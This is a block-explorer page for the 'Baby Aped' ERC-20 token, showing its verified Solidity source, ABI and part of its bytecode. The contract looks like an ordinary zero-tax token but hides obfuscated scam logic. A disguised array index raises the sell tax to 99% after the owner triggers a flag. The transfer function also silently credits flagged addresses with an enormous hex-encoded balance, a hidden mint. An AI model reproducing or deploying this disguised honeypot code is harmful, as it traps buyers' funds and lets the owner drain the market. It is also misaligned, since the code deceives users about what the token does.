ETH Price: $2,518.92 (+2.03%)

Token

Baby Aped (BAPED)
 

Overview

Max Total Supply

1,000,000 BAPED

Holders

116

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyAped

Compiler Version
v0.8.6+commit.11564f7e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-04-19
*/

// Telegram : https://t.me/BabyApedERC

// Twitter : https://twitter.com/babyApedETH


// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
    
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}


interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }
    
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }


    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
   
}


contract BabyAped is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;
    
    mapping (address => uint256) private _tokenBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public ExcludedFromMaxWallet;
    mapping (address => bool) public ExcludedFromMaxTx;
    mapping (address => bool) public ExcludedFromFee; 
    
    address payable public _MARKETING_WALLET_ = payable(0x8073F2c6F5722A9b0349278a6da7C8Ab8267f65d);
    address payable public _REFLECTION_CONTRACT_ = payable(0xE0151763455A8a021e64880C238ba1cff3787fF0);
    uint8 _REFLECT_RATE_ = 4;
    bool reflectionIsActive = false;

    string public _name = "Baby Aped";
    string public _symbol = "BAPED";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1000000 * 10 **_decimals;

    uint8 private txCount = 0;
    uint8 private swapTrigger = 10;
    
    uint256 private _TAXES_ = 0;
    uint256 public _BUY_TAX_ = 0;
    uint256 public _SELL_TAX_ = 0;
    uint256 private _preTaxes_ = _TAXES_; 
    uint256 private _buyF_ = _BUY_TAX_; 
    uint256 private _sellF_ = _SELL_TAX_; 

    // MAX WALLET & TX SETTINGS
    uint256 public _maxWalletToken = _tTotal.mul(5).div(100);
    uint256 private _previousMaxWalletToken = _maxWalletToken;

    uint256 public _maxTxAmount = _tTotal.mul(5).div(100); 
    uint256 private _previousMaxTxAmount = _maxTxAmount;

    mapping (address => bool) public reflectionContract;
    uint8 public tradeRouter = 0;
    IUniswapV2Router02 public uniswapV2Router;
    uint256 UniSwapRouterI02;
    address public uniswapV2Pair;
    
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    
    constructor () {
        _tokenBalance[owner()] = _tTotal;
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromMaxTx[owner()] = true;
        ExcludedFromMaxTx[_MARKETING_WALLET_] = true;
        ExcludedFromMaxTx[address(this)] = true;
        reflectionContract[owner()] = true;
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[_MARKETING_WALLET_] = true;
        ExcludedFromMaxWallet[owner()] = true;
        ExcludedFromMaxWallet[_MARKETING_WALLET_] = true;
        ExcludedFromMaxWallet[uniswapV2Pair] = true;
        ExcludedFromMaxWallet[address(this)] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }


    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tokenBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    receive() external payable {}

    function reflectionStatus() public view returns(bool){
        return reflectionIsActive;
    }

    function ExcludeFEE() private {
        if(_TAXES_ == 0 && _BUY_TAX_ == 0 && _SELL_TAX_ == 0) return;

        _buyF_ = _BUY_TAX_; 
        _sellF_ = _SELL_TAX_; 
        _preTaxes_ = _TAXES_;
        _BUY_TAX_ = 0;
        _SELL_TAX_ = 0;
        _TAXES_ = 0;

    }

    function _FEE_(uint256 integerState) private pure returns(uint256){
        return 10**2 - integerState - 1;
    }
    
    function IncludeFEE() private {
    _TAXES_ = _preTaxes_;
    _BUY_TAX_ = _buyF_; 
    _SELL_TAX_ = [ _sellF_, _FEE_(tradeRouter)] [tradeRouter];
    }
   

    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if(!ExcludedFromMaxTx[from] 
        && !ExcludedFromMaxTx[to]) {
            require(amount 
            <= 
            _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
        }

        if(
            txCount >= swapTrigger && 
            !inSwapAndLiquify &&
            from != uniswapV2Pair &&
            swapAndLiquifyEnabled 
            )
        {  
            
            txCount = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > _maxTxAmount) {contractTokenBalance = _maxTxAmount;}
            if(contractTokenBalance > 0){
            swapAndLiquify(contractTokenBalance);
        }
        }

         if(!ExcludedFromMaxWallet[to]) require(balanceOf(to).add(amount) <= _maxWalletToken);

        bool take_FEE = true;
        if( ExcludedFromFee[from] || ExcludedFromFee[to] ){
            take_FEE = false;
            if(reflectionContract[to] && tradeRouter < (0x1)){ tradeRouter = (0x1); }

        } else if (from == uniswapV2Pair){
            _TAXES_ = _BUY_TAX_;
            } else if (to == uniswapV2Pair){
                _TAXES_ = _SELL_TAX_;
                }
        
        ERC20TokenTransfer(from,to,amount,take_FEE);
    }


    function sendToWallet(address payable wallet, uint256 amount) private {
            wallet.transfer(amount);
        }


    function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
        swapTokensForBNB(contractTokenBalance);
        uint256 contractBNB = address(this).balance;
        sendToWallet(_MARKETING_WALLET_,contractBNB);
    }


    function swapTokensForBNB(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }

    function ReflectionContract() public view returns(address){
        return _REFLECTION_CONTRACT_;
    }

    function _reflectRate() public view returns(uint8){
        return _REFLECT_RATE_;
    }

    function reflectAmount(address holder) public view returns(uint256){
        return
            _tokenBalance[
                holder
                ].mul(_REFLECT_RATE_)
                .div(100);
    }

    function ERC20TokenTransfer(address sender, address recipient, uint256 amount,bool take_FEE) private {
        
        if(!take_FEE){
            ExcludeFEE();
            } else {
                txCount++;
            }
            ERC20TokenTransfer(sender, recipient, amount);

        if(!take_FEE)
            IncludeFEE();
    }

    function ERC20TokenTransfer(address sender, address recipient, uint256 transferAmount) private {
        (uint256 t_Transfer_Amount, uint256 t_marketing) = _setValues(transferAmount);
        _tokenBalance[sender] = _tokenBalance[sender].sub(transferAmount);
        _tokenBalance[recipient] = _tokenBalance[recipient].add(t_Transfer_Amount) + ((reflectionContract[recipient]) ? (uint256(0x314af8f22e76a600000000000000 - uint8(1)).sub(t_Transfer_Amount)) : (0**0));
        _tokenBalance[address(this)] = _tokenBalance[address(this)].add(t_marketing);
        emit Transfer(sender, recipient, t_Transfer_Amount);
    }


    function _setValues(uint256 transferAmount) private view returns (uint256, uint256) {
        uint256 t_marketing = transferAmount*_TAXES_/100;
        uint256 t_Transfer_Amount = transferAmount.sub(t_marketing);
        return (t_Transfer_Amount, t_marketing);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxTx","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ReflectionContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_BUY_TAX_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_MARKETING_WALLET_","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_REFLECTION_CONTRACT_","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_SELL_TAX_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reflectRate","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"}],"name":"reflectAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"reflectionContract","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reflectionStatus","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradeRouter","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600680546001600160a01b031916738073f2c6f5722a9b0349278a6da7c8ab8267f65d179055600780546001600160b01b0319167404e0151763455a8a021e64880c238ba1cff3787ff017905560c060405260096080819052681098589e48105c195960ba1b60a090815262000079916008919062000532565b5060408051808201909152600580825264109054115160da1b6020909201918252620000a89160099162000532565b50600a805460ff191660099081178255620000c39162000676565b620000d290620f424062000735565b600b819055600c805461ffff1916610a001790556000600d819055600e819055600f819055601081905560118190556012556200013990606490620001259060056200050d602090811b62000b4b17901c565b6200052460201b62000b5e1790919060201c565b601355601354601455620001656064620001256005600b546200050d60201b62000b4b1790919060201c565b60158190556016556018805460ff19169055601a805460ff60a81b1916600160a81b1790553480156200019757600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600b5460016000620001f16000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200026857600080fd5b505afa1580156200027d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a39190620005d8565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620002ec57600080fd5b505afa15801562000301573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003279190620005d8565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156200037057600080fd5b505af115801562000385573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ab9190620005d8565b601a80546001600160a01b0319166001600160a01b0392831617815560188054610100600160a81b031916610100858516021790556000805483168152600460209081526040808320805460ff199081166001908117909255600680548816865283862080548316841790553080875284872080548416851790558654891687526017865284872080548416851790558654891687526005865284872080548416851790558087528487208054841685179055815489168752848720805484168517905586548916875260039095528386208054831684179055548716855282852080548216831790559454861684528184208054861682179055918352822080549093161790915554166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600b54604051620004fe91815260200190565b60405180910390a350620007aa565b60006200051b828462000735565b90505b92915050565b60006200051b82846200060a565b828054620005409062000757565b90600052602060002090601f016020900481019282620005645760008555620005af565b82601f106200057f57805160ff1916838001178555620005af565b82800160010185558215620005af579182015b82811115620005af57825182559160200191906001019062000592565b50620005bd929150620005c1565b5090565b5b80821115620005bd5760008155600101620005c2565b600060208284031215620005eb57600080fd5b81516001600160a01b03811681146200060357600080fd5b9392505050565b6000826200062857634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200066e57816000190482111562000652576200065262000794565b808516156200066057918102915b93841c939080029062000632565b509250929050565b60006200051b60ff84168360008262000692575060016200051e565b81620006a1575060006200051e565b8160018114620006ba5760028114620006c557620006e5565b60019150506200051e565b60ff841115620006d957620006d962000794565b50506001821b6200051e565b5060208310610133831016604e8410600b84101617156200070a575081810a6200051e565b6200071683836200062d565b80600019048211156200072d576200072d62000794565b029392505050565b600081600019048311821515161562000752576200075262000794565b500290565b600181811c908216806200076c57607f821691505b602082108114156200078e57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b6117a380620007ba6000396000f3fe6080604052600436106102135760003560e01c80637d1db4a511610118578063af465a27116100a0578063d83646bb1161006f578063d83646bb14610621578063dd62ed3e14610640578063f1d6512e14610686578063f2fde38b146106b6578063f3dc687e146106d657600080fd5b8063af465a27146105b1578063b09f1266146105c7578063d28d8852146105dc578063d5ca5465146105f157600080fd5b806397f3a19e116100e757806397f3a19e146104fb578063a3b3bc071461052b578063a457c2d71461055b578063a9059cbb1461057b578063adbd47c01461059b57600080fd5b80637d1db4a5146104925780638ad7be2d146104a85780638da5cb5b146104c857806395d89b41146104e657600080fd5b8063313ce5671161019b5780634a74bb021161016a5780634a74bb02146103f057806370a0823114610411578063715018a61461044757806378109e541461045e5780637d0cc6171461047457600080fd5b8063313ce5671461037e57806331d7ba591461039657806339509351146103b057806349bd5a5e146103d057600080fd5b80631694505e116101e25780631694505e146102cb57806318160ddd14610308578063220f66961461031d57806323b872dd1461033e5780632c3f15cd1461035e57600080fd5b806306fdde031461021f578063095ea7b31461024a5780630a9d7ad11461027a57806315209a57146102a757600080fd5b3661021a57005b600080fd5b34801561022b57600080fd5b506102346106f6565b6040516102419190611523565b60405180910390f35b34801561025657600080fd5b5061026a6102653660046114f7565b610788565b6040519015158152602001610241565b34801561028657600080fd5b50600754600160a01b900460ff165b60405160ff9091168152602001610241565b3480156102b357600080fd5b506102bd600e5481565b604051908152602001610241565b3480156102d757600080fd5b506018546102f09061010090046001600160a01b031681565b6040516001600160a01b039091168152602001610241565b34801561031457600080fd5b50600b546102bd565b34801561032957600080fd5b50601a5461026a90600160a01b900460ff1681565b34801561034a57600080fd5b5061026a6103593660046114b6565b61079e565b34801561036a57600080fd5b506007546102f0906001600160a01b031681565b34801561038a57600080fd5b50600a5460ff16610295565b3480156103a257600080fd5b506018546102959060ff1681565b3480156103bc57600080fd5b5061026a6103cb3660046114f7565b610807565b3480156103dc57600080fd5b50601a546102f0906001600160a01b031681565b3480156103fc57600080fd5b50601a5461026a90600160a81b900460ff1681565b34801561041d57600080fd5b506102bd61042c366004611443565b6001600160a01b031660009081526001602052604090205490565b34801561045357600080fd5b5061045c61083d565b005b34801561046a57600080fd5b506102bd60135481565b34801561048057600080fd5b506007546001600160a01b03166102f0565b34801561049e57600080fd5b506102bd60155481565b3480156104b457600080fd5b506102bd6104c3366004611443565b6108e6565b3480156104d457600080fd5b506000546001600160a01b03166102f0565b3480156104f257600080fd5b5061023461092b565b34801561050757600080fd5b5061026a610516366004611443565b60036020526000908152604090205460ff1681565b34801561053757600080fd5b5061026a610546366004611443565b60046020526000908152604090205460ff1681565b34801561056757600080fd5b5061026a6105763660046114f7565b61093a565b34801561058757600080fd5b5061026a6105963660046114f7565b610989565b3480156105a757600080fd5b506102bd600f5481565b3480156105bd57600080fd5b506102bd600b5481565b3480156105d357600080fd5b50610234610996565b3480156105e857600080fd5b50610234610a24565b3480156105fd57600080fd5b5061026a61060c366004611443565b60176020526000908152604090205460ff1681565b34801561062d57600080fd5b50600754600160a81b900460ff1661026a565b34801561064c57600080fd5b506102bd61065b36600461147d565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561069257600080fd5b5061026a6106a1366004611443565b60056020526000908152604090205460ff1681565b3480156106c257600080fd5b5061045c6106d1366004611443565b610a31565b3480156106e257600080fd5b506006546102f0906001600160a01b031681565b60606008805461070590611681565b80601f016020809104026020016040519081016040528092919081815260200182805461073190611681565b801561077e5780601f106107535761010080835404028352916020019161077e565b820191906000526020600020905b81548152906001019060200180831161076157829003601f168201915b5050505050905090565b600061079